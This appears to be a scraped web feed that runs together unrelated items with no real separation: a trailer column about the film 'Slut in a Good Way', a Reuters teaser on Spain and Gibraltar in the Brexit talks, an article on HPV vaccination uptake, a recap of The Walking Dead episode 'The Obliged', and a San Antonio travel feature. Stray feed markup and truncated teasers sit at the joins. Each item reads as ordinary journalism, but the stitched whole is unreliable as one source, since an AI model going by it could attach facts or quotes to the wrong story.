When it comes to deconstructing the young adult experience, it appears that director Sophie Lorain has it pretty well nailed.
Following in the footsteps of classic independent films like Clerks and To All The Boys I’ve Loved Before, Slut in a Good Way follows three teenage girls exploring their first taste of freedom: Charlotte, the recently heartbroken, Megane, the anti-love anarchist, and Aube, a virgin who dreams of love — all three smitten by the guys at the “Toy Depot.” After applying for their first part-time job at the store during this one fateful summer, the three girls experience for the very first time what it is like to make their own decisions and their resulting consequences.
The use of subtitles here is incredibly refreshing and adds a layer of youthfulness to the narrative. We enter these young women’s lives in a way that feels honest, direct, but also humorous. The pacing is superb and sets up for what looks like a delightful yarn.
Nota bene: If you have any suggestions of trailers for possible inclusion in this column, even have a trailer of your own to pitch, please let me know by sending me a note at Christopher_Stipp@yahoo.com or look me up via Twitter at @Stipp
In case you missed them, here are the other trailers we covered at /Film this week:
The post This Week In Trailers: Slut in a Good Way, Ruben Brandt, Collector, Stand Up and Away! With Brian Regan, New Year, New You, Float Like a Butterfly appeared first on /Film.
![]()
Reuters
BRUSSELS (Reuters) – Spain was standing between Theresa May and a Brexit deal as it threatened to derail an EU summit on Sunday if it does not get new assurances on having a say in the future of Gibraltar.
As negotiations among Spanish, British and EU officials wore into Saturday, Spanish Prime Minister Pedro Sanchez said he was ready to thwart his British counterpart May’s hopes of seeing EU leaders sign off on promises of close ties with London after Britain leaves the bloc in March if he did not get his way.See the rest of the story at Business Insider
NOW WATCH: Megyn Kelly in 2017: ‘I regret a lot’ of the controversial stuff I’ve said on live television
See Also:
SEE ALSO: Read Theresa May’s Brexit withdrawal deal in full She faces an uphill battle to persuade ministers and backbenchers to support the deal.
![]()
]]>
Enlarge / The HPV vaccine is often delivered along with sex education. (credit: Pan American Health Organization / Flickr)
Every year, nearly 34,000 cases of cancer in the US can be attributed to HPV, the human papillomavirus . The CDC estimates that vaccination could prevent around 93 percent of those cancers. Yet HPV vaccination rates are abysmal: only half of the teenagers in the US were fully vaccinated in 2017.
Cultural barriers play a role in that low rate. Vaccinating pre-teens against a sexually transmitted infection has had parents concerned that that this would encourage their kids to have sex sooner, with more partners, or without protection or birth control. And vaccine rates vary across different social and cultural groups: for instance, rural teenagers are less likely to be vaccinated than urban ones.
Two recent studies explore different facets of the cultural barriers standing in the way of better HPV vaccine uptake. The first, a paper published last month in the Canadian Medical Association Journal, looks at the data on whether the vaccine encourages riskier sexual behavior and finds no evidence that it does. And the second, an early draft of a paper presented at an American Association for Cancer Research meeting this week, reports the results of a culturally-targeted intervention aiming to increase vaccine uptake among low-income Chinese Americans.
]]>Getting the world started over looked an awful lot like the end of the line for Rick in Sunday’s episode of The Walking Dead. But the AMC drama wouldn’t — couldn’t! — kill off departing leading man Andrew Lincoln before his embattled protagonist got in at least a face-off or two with the imminently-arriving Whisperers, would it? Read on to find out how dire were the straits in which Rick was left, then we can debate the wisdom of the show trying to make us think that “The Obliged” would mark his last stand.
‘I’M GONNA MAKE THINGS RIGHT’ | After an intro in which we learned that Michonne was dealing with the doldrums of house-playing and charter-writing by sneaking out at night to whack walkers, we cut to Maggie, arming herself with a crowbar before leaving the Hilltop to avenge Glenn’s murder. When Jesus failed to distract her from her mission with a new letter from Georgie — and seriously, how is anybody managing to be pen pals when there are no mail carriers? — he took a more direct approach. Rick had been wrong to spare Negan, Jesus said. That hadn’t been his call to make. But was she sure that offing the jailbird was really her call to make? “I am,” she insisted. “I’ll be back when it’s done.”
Meanwhile, Rick learned from Eugene that an overnight storm had annihilated an upstream levy, thereby dooming the bridge once and for all. It was no longer safe to even work on repairing it. But at least Eugene had a little good news, too: Herds he’d named after Shakespeare characters (Tybalt and Cordelia) showed no signs of merging. Still, he felt bad that he wasn’t able to do more to save the bridge. If only he’d read more books, he said. Different books… Hey, Rick told him. The brainiac got them where they are, and “after everything, that’s everything.” As if determined to kick Rick when he was down, fate then delivered another blow: Carol was taking her Kingdommers home. As for the Saviors at the Sanctuary, “It’s up to them to figure out who they want to be.”
‘IF SHE KILLS NEGAN, HE BECOMES A MARTYR!’ | Hope there’s aspirin at the camp, because if Rick didn’t need a double dose already, he surely did after Jerry relayed Jesus’ message that Maggie was en route to Alexandria with murder in her eyes. When Daryl overheard his frenemy radio Alexandria to warn them not to let Glenn’s widow past the gate without an escort, he offered to give him a lift… to nowhere, it turned out. When Rick realized that Daryl wasn’t taking him to Alexandria, they got into another of their boys-will-be-boys brawls, this one landing them in a ginormous hole. While trapped, they finally talked it out, sorta. Daryl said that he was fine with Maggie killing Negan, just like he was fine with the Oceansiders exacting their revenge against the Saviors (which was news to Rick). “I’d die for you, and I would’ve died for Carl,” Daryl concluded. “But you’re chasing something for him that ain’t meant to be, man.”
Back in Alexandria, Michonne learned from Nora (who?) that Negan was refusing to eat. “The hunger strike ends today,” Michonne told the prisoner upon arriving at his cell with a sandwich. Thing was, Negan was perfectly willing to chow down — provided she stuck around and chatted him up. (Guess beard-growing would be kind of a dull pastime while incarcerated.) After hearing about her day, Negan exclaimed, “Damn, that sounds more boring than my day!” And, in short order, he theorized that he and Michonne were the same. “Behind walls, bars, we die,” he said. What’s more, much as he was relieved that his wife had passed away, a part of her was relieved that she’d lost her son Andre. “Because you know all he woulda done was make you weak.” Outraged, Michonne took away his lunch and stormed out.
‘I FORGIVE YOU, ANNE, WHATEVER YOU HAVE TO DO’ | At the Heaps, Anne stole a kiss from an unconscious and tied-up Gabriel as a walker affixed to a hand dolly argh’d from beneath the bucket on its head. When the preacher awakened, the erstwhile Jadis explained, “There’s only one place left for me to go, and you’re the price of admission.” But as she lowered the walker toward him — the zombie’s bucket now removed, of course — Gabriel apologized for pushing her away and offered his forgiveness. Finally, Anne couldn’t go through with turning him. Instead, she knocked him out again, untied him and left him to wake up in a crate with a note that read, “If you want to go fast, go alone. If you want to go far, go together. I need to go fast.”
Back at the campsite, Carol and the Kingdommers were about to take off when up snuck the Saviors, led by Jed, brandishing a gun he’d swiped from Alden. Seemed just as Daryl and Maggie had, he’d figured out that the women of Oceanside had been killing their loved ones’ killers. Now, he said, “they’re gonna get what’s coming to ’em.” And no way was Carol gonna stand in their way. She wasn’t the boss lady anymore, Jed sneered. “You’re a weak little woman who got in a lucky shot.” (Clearly, he was unfamiliar with The Legend of Carol Peletiere!) Though Carol lowered her weapon and stepped aside rather than risk a shootout, she still lashed out at Jed after he took her keys, and before we knew it, Rick and Daryl could hear the gunfire all the way in their hole. Which was bad to begin with, it being a sign of trouble and all. But moreover, it would draw the herds!
‘I LIVE FOR THE LIVING’ | After cooling off, Michonne returned to Negan’s cell, where he apologized for saying what he had about her son. She clearly hadn’t been ready to hear that they were the same. Only they weren’t, she retorted. Sure, “we do what we need to… but you get a kick out of it!” She, on the other hand, was going to make it a better world for her daughter. At that, a lightbulb went off over Negan’s head: That’s what she was afraid of — ending up like him with everyone she cared about gone! Ultimately, she wound up getting the prisoner to eat and also giving him indigestion by revealing that his precious Lucille was still out there somewhere. He was so upset to hear that that he mistook himself for the Incredible Hulk and started punching stone walls.
Back at the hole in which Rick and Daryl were stuck, walkers started falling in, which made climbing out all the more difficult. Not so difficult that Rick didn’t manage to do it, but difficult nonetheless. And conveniently, when he reached the top of the hole, there were no walkers around to grasp or chomp at him. For a hot minute, it looked as if Daryl might not make it to safety. But the odds of him meeting his maker are about as good as him washing his hair. Once they were both above ground again, Rick mounted a runaway horse to lead the herd away from the camp. Why not just lead them to the bridge? Daryl asked. It’d crumble under the weight and dispatch the lot of ’em. Because they needed the bridge, Rick insisted. So off he rode.
‘BE SAFE’ | While a storybook Michonne read Judith made her wonder if she really was like Negan — of course, a bat would have to feature prominently in Game Day! — Rick wound up trapped between the two herds. When his horse got spooked and threw him, he was impaled on a slab of concrete. And as the hour drew to a close, he not only wasn’t able to get up or away, he lost consciousness. With two herds mere steps away from him, the show clearly wanted us to fear for his life. But do any us really believe that Rick is going to be done in without a s—-ton of fair warning? Mm, I think not. So what was the point of this? Aside from that questionable choice, what did you think of “The Obliged”? Though I’ve liked the season more than most commenters thus far, even I had to admit that this episode felt it had an excess of fake peril.
https://pmctvline2.files.wordpress.com/2018/10/twd_904_gp_0613_0149_rt.jpg

The San Antonio River Walk, lined with buzzy restaurants and margarita bars (Image: David Kozlowski/Getty Images)
AHH, I remember the Alamo,” I say to my son, Angus, 15, wistfully as we stand in front of one of America’s most revered sites.
The teenager looks at me oddly.
“I know you’re old but you’re not that old…are you?” he mutters, pointing at the date 1836 carved above the doorway.
Not quite. The crumbling 18th-century Spanish mission was the site of the bloodiest battle in Texan history, a 13-day siege in the fight for independence from Mexico.
I grew up watching old black-and-white Westerns with my grandad and seeing these crumbling walls, pockmarked with bullet holes from Davy Crockett’s last stand, was like bringing the wild frontier to life. The mayor of San Antonio has recently announced plans to restore the Alamo to its former glory and will include a museum displaying Phil Collins’s (yes, that one) $ 15million collection of Alamo artefacts.
While the Alamo is still the biggest draw to this southern Texas city, there’s plenty going on this year as it celebrates its tricentennial.
Located just 150 miles north of the Mexican border, one of San Antonio’s biggest annual celebrations is the Carnaval Dia de los Muertos, or Day of the Dead, a colourful festival of parades and events until November 3. We’re staying right in the centre in the St Anthony Hotel, a beautiful grande dame known as the Queen of San Antonio.
Opened in 1909 by a pair of Texan cattlemen, it’s so rich with old-school Texan glamour I almost expect to see JR Ewing and Sue Ellen waltzing through its polished doors. Running the length of the hotel is Peacock Alley, a block-long lobby lined with marble columns, emerald velvet sofas and showered in chandeliers which is a throwback to the Fifties, when famed New York interior designer Dorothy Draper put St Anthony on the style map.

The site of the most famous battle in Texan history (Image: Pgiam/Getty Images)
As the sultry Texan sun starts to dip behind the Alamo, Angus and I take a slow wander along the balmy streets down to Paseo del Rio – the San Antonio River Walk – a three-mile-long pathway lined with buzzy restaurants and margarita bars.
The birthplace of Tex Mex, my Dorito-fuelled teenage son is in his element and the previous night we feasted on quesadillas, burritos and tacos in Mi Tierra, one of the oldest and most colourful Tex Mex diners in town.
Tonight we’re booked on to Boudro’s dinner cruise along the San Antonio river. Clasping my first prickly pear margarita, a cheery mariachi band jigs noisily along the path and serenades us as we board the boat.
Despite Angus’s mild look of horror – in case I join in – we’re both infused with the sparky Chicano vibe. Even on this unassuming Tuesday night, drifting gently down a fairy-lit river, melodic maracas ringing in our ears, I’m utterly charmed by the city.

Tourists on a boat tour in San Antonio, Texas (Image: Patrick J. Wall/Danita Delimont/Getty Images/Gallo Images)
But it’s not all mariachi bands and marvellous margaritas, there’s a trendy side to San Antonio too. The Pearl Brewery District, a mile or so north of Downtown, is currently the most happening hangout in town.
Once the home of the Pearl Brewery, it’s like a hip university campus with craft beer bars, independent restaurants and artisan shops selling everything from handcrafted French-style macarons in Bakery Lorraine to rare books on the Alamo in The Twig bookshop.
A mile further is the Witte Museum, an esteemed science and natural history museum which reopened last year after a major redevelopment and has original cowboy wagons to indulge my Wild West fantasies even further.
I’m pleasantly surprised how big a hit San Antonio is with the teenager. It’s renowned as a family-friendly city with a bunch of theme parks, including the Six Flags Fiesta Texas, Wet ‘n’ Wild and Morgan’s Wonderland, the world’s first fully accessible theme and water park for people with special needs.

The Witte Museum houses Texan dinosaurs (Image: Dror Baldinger/AIA)
IT ALSO has plenty of alternative attractions suitable for 15-year-olds as well. Our new favourite museum in the world is just around the corner from our hotel, the Buckhorn Saloon and Museum, which for Western fans its pretty much Disneyland.
The original Buckhorn Saloon opened in 1881, when owner Albert Friedrich would accept horns, antlers and even jars of rattlesnake rattles in exchange for a whisky or beer.
His stash grew into one of the world’s largest collections of antlers and over the years has expanded to include a zoo of stuffed animals.
More recently, it has been incorporated into the brilliant Texas Ranger Museum, where I swagger around the old-time saloon bar like a budget Annie Oakley.
It’s our last night and after leaving a tired teenager in the room with a double bill of Beavis and Butthead, I sneak down for a farewell margarita in the St Anthony Club, the hotel’s glorious old jazz bar.
Crammed with overstuffed Chesterfields, and polished mahogany, this famed Texan joint was where South West Airlines was conceived on the back of a napkin in 1967.
With its marvellous cocktails, pockmarked missions and mariachi bands, I don’t imagine it will be our last stand in San Antonio.